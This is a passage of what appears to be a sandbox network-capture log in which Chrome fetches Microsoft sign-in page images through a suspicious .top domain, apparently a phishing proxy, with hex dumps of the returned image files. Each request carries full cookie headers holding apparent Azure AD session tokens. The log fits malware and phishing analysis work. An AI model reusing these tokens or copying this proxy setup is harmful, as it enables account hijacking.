Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:05 UTC	735	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:05 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: f3b23761-001e-0022-5d3f-9722a9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183704Z-174886c4d46tht5t25ntqwthmw0000000ba0000000003htk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-25 18:37:05 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49776	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:05 UTC	1736	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:06 UTC	741	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:06 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739984DD x-ms-request-id: 2a26f986-b01e-0031-4f3f-97ef8d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183706Z-1556fcfc99cg2mjlz5vde6m59g00000001kg000000007dzs x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-25 18:37:06 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0!,`6PlHI:qJk`BYL&!,0<[\K8jtrg!,3^;\UK]\%Vc!,7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49777	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:05 UTC	1740	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:06 UTC	761	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:06 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 057eba3b-701e-0069-7c3f-97d4af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183706Z-1556fcfc99c97m9lwbh9xztp4c00000002qg000000003xah x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-25 18:37:06 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49775	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:05 UTC	1730	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:06 UTC	741	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:06 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373B17F89 x-ms-request-id: 555c9b1d-301e-0015-503f-97d2b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183706Z-1556fcfc99c2ddzlt72s1hkpsn00000003u0000000004uba x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-25 18:37:06 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49778	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:05 UTC	1734	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; esctx-GvCT4tVQc=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8VqWonEFnvI6R6OTYyQ2XE_GvO6g0zMgePSfAR3_MnDWVieI1LWOfZqb2fV2dA2zh94qoUtd6vj5342rY4u0og-7WoZNm2MUWLs1UAe7sRPShuYZuA-O1fludV14hjL2-kSe5Em2w4qmEXtN2F7ds8SAA; fpc=AlQZcavYEAhAkPirn2lEBLeerOTJAQAAAMqZvN0OAAAA; brcap=0
2024-04-25 18:37:06 UTC	742	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 18:37:06 GMT Content-Type: image/jpeg Content-Length: 17453 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E30A1202 x-ms-request-id: 137616d7-d01e-001b-1f3f-9770ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240425T183706Z-174886c4d46hzgkneyh972628s00000007yg00000000fd1g x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-25 18:37:06 UTC	15642	IN	Data Raw: ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e Data Ascii: Phttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syn
2024-04-25 18:37:06 UTC	1811	IN	Data Raw: 40 00 00 50 00 00 04 00 00 05 00 45 00 00 05 00 00 01 00 05 50 00 00 04 00 00 05 1f ff d3 db c0 6d cd 05 45 00 00 00 04 50 1c 8a 02 00 00 00 00 04 48 aa 0e 45 15 10 00 00 00 00 00 04 82 80 90 50 10 00 04 01 44 14 51 14 10 51 11 05 01 05 40 00 00 00 00 15 40 00 00 00 40 54 50 42 28 00 00 00 00 00 00 00 02 80 00 00 00 20 00 02 a2 8a 00 00 00 00 0a 02 00 00 00 02 28 00 8a 80 00 a0 02 0a 08 a8 28 08 a0 00 02 80 a8 22 80 88 a0 2a 28 00 02 00 28 20 a2 08 28 08 00 02 88 00 0a 82 80 8a 00 00 8a 00 00 08 00 00 02 00 00 00 0a 00 a8 a8 a0 82 a2 00 00 00 8a 00 a0 02 00 02 80 20 00 00 00 00 80 00 00 22 a0 a0 20 00 2a 2a 00 02 8a 80 8a 20 82 88 00 00 00 0a 00 a0 00 00 08 02 a8 8a 02 00 28 00 80 02 80 02 00 00 02 82 2a 28 00 02 80 00 00 8a 00 02 80 00 00 20 02 80 00 ff Data Ascii: @PEPmEPHEPDQQ@@@TPB( (("(( ( " * (*(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49774	138.124.184.68	443	5428	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 18:37:05 UTC	1728	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png HTTP/1.1 Host: v-fbhylctn6gvcwonctn6gvc-whibesilg2bmrls9cassie.top Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=GwZlzv3jPbYV; qPdM.sig=zsvTAb_o15fYh2XyKf_0BUsXAQ0; ClientId=A08CE21250094104AB34A7B305FA54B2; OIDC=1; OpenIdConnect.nonce.v3.skPAxK1bGLdqiCd6j8Q-5CD7CMUr7-ebhttAu2FuWpE=638496670161648732.bbc24f29-8470-43ad-8f67-c518d06719de; X-OWA-RedirectHistory=ArLym14BXDxBr1Zl3Ag; esctx-KrrL33shBI=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8Fqu296N6Uo0Y6SK_I3D0gl2izW076QZuuYH_b0ZXHSuH_2nmEkGsYngHyYiU5VIrmMZ1PwnMAe7E6wxZ2PqNjOpbKChPO0MbyJtFNP4ifzlMt6NJvsRuKxHr71g_VC5wHHvew-TnpVD1VU4jwMAWNyAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8JGGf9ZvZjjvjvSiRHtJq0RTOcKq8JILxc12tSPl8eEY0f30ZngdYmn0exBvZmRzT8IMFS0M7RB9glpzi2Gj72CrTFvNtjpPFFBsivvA9MjIgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8hB3TfVSisb9U1aTUNEFR0Nby2X7SXxO4jk0gMoV-R4NFq4vMDV3WSPsNeliUOO0h7WAv_UzgIIqE8pCW05u5DgzsWQENd2kwHTbGPPvvlz_nrH6sTCedJDrJlG4_W98RpKNHZVIwmyzCtMNad0TKlcd7xU1aQlBiFsH1Ulpp-TogAA; 